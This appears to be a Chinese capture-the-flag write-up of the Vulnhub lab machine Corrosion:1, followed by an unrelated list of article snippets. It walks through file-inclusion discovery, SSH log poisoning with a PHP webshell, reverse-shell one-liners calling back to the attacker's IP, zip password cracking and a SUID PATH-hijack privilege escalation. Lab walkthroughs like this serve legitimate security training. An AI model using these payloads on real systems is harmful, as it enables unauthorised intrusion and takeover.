Vulnhub靶机:Corrosion1

一、介绍

运行环境:Virtualbox

攻击机:kali(10.0.2.15)

靶机:corrosion:1(10.0.2.12)

目标:获取靶机root权限和flag

靶机下载地址:https://www.vulnhub.com/entry/corrosion-1,730/

二、信息收集

使用nmap主机发现靶机ip10.0.2.12

在这里插入图片描述

使用nmap端口扫描发现靶机开放端口:22、80

在这里插入图片描述

打开网站发现是Apache2的默认页面,查看源码没有隐藏信息

在这里插入图片描述

使用dirsearch目录爆破发现一个/tasks/目录,打开发现一个txt文档

在这里插入图片描述

在这里插入图片描述

# 需要完成的任务

1. 更改身份验证日志的权限
2. 更改端口 22 -> 7672
3. 设置 phpMyAdmin

没有什么可利用的点,怀疑目录扫描没有扫描到,后面使用dirbuster,使用/usr/share/wordlists/dirbuster/directory-list-2.3-small.txt字典才扫描出来,扫描得到一个博客网站

在这里插入图片描述

在这里插入图片描述

打开http://10.0.2.12/blog-post/archives/randylogs.php页面发现是空白页面,想到tasks_todo.txt文件提示,怀疑randylogs.php可以进行文件包含,使用wfuzz进行测试,发现file参数。

wfuzz -w /usr/share/wordlists/wfuzz/general/big.txt http://10.0.2.12/blog-post/archives/randylogs.php?FUZZ=../../../../../../etc/passwd

在这里插入图片描述

三、漏洞利用

尝试包含ssh的日志文件,显示日志文件的内容

http://10.0.2.12/blog-post/archives/randylogs.php?file=/var/log/auth.log

在这里插入图片描述

由于Virtualbox上安装的kali2023.4虚拟机ssh输入特殊字符会报错,所以后续的测试使用vmware上安装的kali2022.4虚拟机操作。kali:192.168.56.103,靶机:192.168.56.104。

尝试在ssh日志写入一句话木马,执行命令失败

ssh '<?php @eval($_GET["x"]);?>'@192.168.56.104

在这里插入图片描述
在这里插入图片描述

使用system一句话木马,执行命令成功

ssh '<?php system($_GET["cmd"]);?>'@192.168.56.104

在这里插入图片描述

反弹shell

bash -i >& /dev/tcp/192.168.56.103/4444 0>&1    #反弹失败,进行url编码也反弹失败 
nc -e /bin/bash 192.168.56.103 4444  #反弹失败,进行url编码也反弹失败 
bash -c 'bash -i >& /dev/tcp/192.168.56.103/4444 0>&1'  #反弹失败,进行url编码也反弹失败 
echo "bash -i >& /dev/tcp/192.168.56.103/4444 0>&1" | bash   #反弹失败,进行url编码也反弹成功 

在这里插入图片描述

四、提权

使用命令查看具有root权限的文件,发现了两个文件

polkit-agent-helper-1:可以尝试CVE-2021-4034本地提权漏洞,需要将exp上传到靶机

easysysinfo:该文件有root权限,在randy的home目录下,所以有可能randy用户也有该文件的权限,可以尝试提权

find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述

首先尝试能不能将exp上传到靶机,但发现www-date的权限太低了,上传失败

在这里插入图片描述

目前没有其他可利用的点,可以找找没有什么特别的文件,搜索一些关键字,在/var/backup目录下发现user_backup.zip文件

find / -name *backup* 2>/dev/null | grep -v "/snap/"

在这里插入图片描述

使用python搭建一个临时的web服务器,主机访问将user_backup.zip文件下载下来

python3 -m http.server 9000

在这里插入图片描述

将文件解压,发现需要密码

在这里插入图片描述

使用fcrackzip工具进行爆破,得到密码

fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u user_backup.zip 

在这里插入图片描述

解压发现my_password.txteasysysinfo.c文件,密码为randy用户的,使用ssh登录

在这里插入图片描述
在这里插入图片描述

查看easysysinfo.c文件,该文件内容发现setuidcat读取文件字段,可以考虑替换cat进行提权

cd /tmp/
echo '/bin/bash' > cat
chmod +x cat
export PATH=/tmp:$PATH

在这里插入图片描述
在这里插入图片描述

执行tools目录下的easysysinfo文件,提权成功

在这里插入图片描述

获取flag

在这里插入图片描述
在这里插入图片描述

参考链接:【Vulnhub 靶场】【Corrosion: 1】【简单】【20210731】-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/308848.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Vue3-46-Pinia-获取全局状态变量的方式

使用说明 在 Pinia 中&#xff0c;获取状态变量的方式非常的简单 &#xff1a; 就和使用对象一样。 使用思路 &#xff1a; 1、导入Store&#xff1b;2、声明Store对象&#xff1b;3、使用对象。 在逻辑代码中使用 但是 Option Store 和 Setup Store 两种方式定义的全局状态变量…

0109作业

1> 思维导图 2> 使用手动连接&#xff0c;将登录框中的取消按钮使用qt4版本的连接到自定义的槽函数中&#xff0c;在自定义的槽函数中调用关闭函数 将登录按钮使用qt5版本的连接到自定义的槽函数中&#xff0c;在槽函数中判断ui界面上输入的账号是否为"admin&quo…

设计与实现基于Java+MySQL的模拟银行ATM操作系统

课题背景 随着现代经济的发展&#xff0c;电子支付和自动化银行服务已成为人们生活中不可或缺的一部分。自动取款机&#xff08;ATM&#xff09;作为一种常见的自助服务设备&#xff0c;使用户能够方便地进行资金的存取、查询余额、转账等操作&#xff0c;而无需到银行柜台。 …

浅淡A100-4090-性价比

大模型的训练用 4090 是不行的&#xff0c;但推理&#xff08;inference/serving&#xff09;用 4090 不仅可行&#xff0c;在性价比上还能比 H100 稍高。4090 如果极致优化&#xff0c;性价比甚至可以达到 H100 的 2 倍。 -------------------- FP64&#xff08;双精度浮点&a…

pycharm社区版配置flask开发环境

新建配置文件&#xff0c;类型选择Shell Script 设置Execute中flask.exe的路径 设置options &#xff1a;--appflask_app.py run --port5000 --debug 设置working 路径 设置环境变量FLASK_APPflask_app.py;FLASK_ENVdevelopment 注意&#xff1a;FLASK_APPflask_app.py和上…

automa插件使用的一些经验

automa&#xff0c;我承认我写不出来这样的代码&#xff0c;早年的时候公司想过做一个爬虫的工具&#xff0c;那个时候RPA还没有火&#xff0c;虽然下载也没怎么火.RPA再牛&#xff0c;还是需要工程师&#xff0c;想一点经验都没有人来做&#xff0c;还是理解不了。能够简化数据…

Java接口的解析

在 Java 中&#xff0c;接口&#xff08;Interface&#xff09;是一种抽象类型&#xff0c;用于定义一组相关方法的契约。接口只包含方法的签名&#xff0c;而没有方法的实现。实现接口的类必须提供接口中定义的方法的具体实现。 以下是对 Java 接口的解析&#xff1a; 这只是…

【uniapp】遇到的一些问题

一、小程序中textarea ios样式不生效的方法 默认有内边距&#xff0c;加个disable-default-padding"true" 二、uni-data-picker循环使用&#xff0c;一个改了全局的值 换成了uni自带的picker&#xff0c;下面括号里必须有默认值&#xff0c;为空字符串的时候&…

国产AI工具钉钉AI助理:开启个性化助手服务的新篇章

钉钉AI助理是钉钉平台的一项功能&#xff0c;它可以根据用户的需求提供个性化的AI助手服务。用户可以在AI助理页面一键创建个性化的AI助理&#xff0c;如个人的工作AI助理、旅游AI助理、资讯AI助理等。企业也可以充分使用企业所沉淀的知识库和业务数据&#xff0c;在获得授权后…

Python实现PDF—>Excel的自动批量转换(附完整代码)

Python实现PDF—>Excel的自动批量转换&#xff08;附完整代码&#xff09; 话不多说&#xff0c;先看效果&#xff01; 需要转换的PDF&#xff1a; 转换后的Excel&#xff1a; 01、底层原理 PDF 到 Excel 的转换涉及不同文件格式之间的数据提取和重构。底层原理可以简…

【GDAL】Windows下VS+GDAL开发环境搭建

Step.0 环境说明&#xff08;vs版本&#xff0c;CMake版本&#xff09; 本地的IDE环境是vs2022&#xff0c;安装的CMake版本是3.25.1。 Step.1 下载GDAL和依赖的组件 编译gdal之前需要安装gdal依赖的组件&#xff0c;gdal所依赖的组件可以在官网文档找到&#xff0c;可以根据…

白嫖aws创建Joplin server服务器

网上有很多的Joplin服务器的搭建教程&#xff0c;但是基本都是抄来抄去&#xff0c;对初学者实在是太不友好了。 话不多说&#xff0c;说干就干&#xff0c;自己从头找资料搭了一个&#xff0c;这可能是全网最好的Joplin服务器搭建教程了。 aws服务器 aws的服务器还是很香的&…

idea git回滚之前提交记录

提交代码时&#xff0c;如果不小心提交了不需要提交的内容&#xff0c;在本地仓库中&#xff0c;此时需要回滚版本&#xff0c;如何回滚 1.打开git控制台&#xff0c;左下角git,选择要处理的分支&#xff0c;选择刷新获取最新git提交记录 2&#xff09;选中自己commit需要回滚…

Fluids —— Minimal fluid setups

目录 Waterline FLIP Boundary Boundary flow 创建流体设置的三个基本方法&#xff1b; Waterline 由FLIP Container SOP与FLIP Solver SOP组成的基本network&#xff0c;可不需要任何外部源&#xff1b; FLIP Container SOP&#xff0c;能使用不同的容器形状&#xff1b;F…

PiflowX-MysqlCdc组件

MysqlCdc组件 组件说明 MySQL CDC连接器允许从MySQL数据库读取快照数据和增量数据。 计算引擎 flink 组件分组 cdc 端口 Inport&#xff1a;默认端口 outport&#xff1a;默认端口 组件属性 名称展示名称默认值允许值是否必填描述例子hostnameHostname“”无是MySQL…

MySql -数据库基本概念

一、数据库的基本概念 1.为什么要学数据库&#xff1f; 之前我们如果想将一些数据实现永久化存储&#xff0c;可以怎么做呢&#xff1f;没错。使用IO流的技术将数据保存到本地文件中但是接下来我有这样一个需求&#xff1a;将下面的user.txt文件中的王五年龄修改为35 张三 2…

leetcode 动态规划(最后一块石头的重量II、目标和、一和零)

1049.最后一块石头的重量II 力扣题目链接(opens new window) 题目难度&#xff1a;中等 有一堆石头&#xff0c;每块石头的重量都是正整数。 每一回合&#xff0c;从中选出任意两块石头&#xff0c;然后将它们一起粉碎。假设石头的重量分别为 x 和 y&#xff0c;且 x < …

Go语言学习笔记(三)

教程&#xff1a;文档 - Go 编程语言 (studygolang.com) 调用模块代码 在call-module-code需要注意&#xff0c;需要在hello目录下操作 go mod edit -replace example.com/greetings../greetings 这是一个在Go项目的模块管理中的命令。在Go的模块管理工具&#xff08;go mod&…

SpringBoot-admin健康监控

监控-健康监控服务 目的&#xff1a;能够理解健康监控actuator的作用 背景&#xff1a; 在一些大型的业务应用中&#xff0c;工程会根据业务模块做微服务拆分&#xff0c;后期每一个微服务在云上部署以后&#xff0c;都需要对其进行监控、追踪、审计、控制等操纵&#xff0c…

chatglm3的api调用

conda activate chatglm3 cd openai_api_demo python openai_api.py 启动ok&#xff0c;然后内网映射后 anaconda启动jupyter !pip install openai1.6.1 -i https://pypi.tuna.tsinghua.edu.cn/simple/ """ This script is an example of using the OpenAI …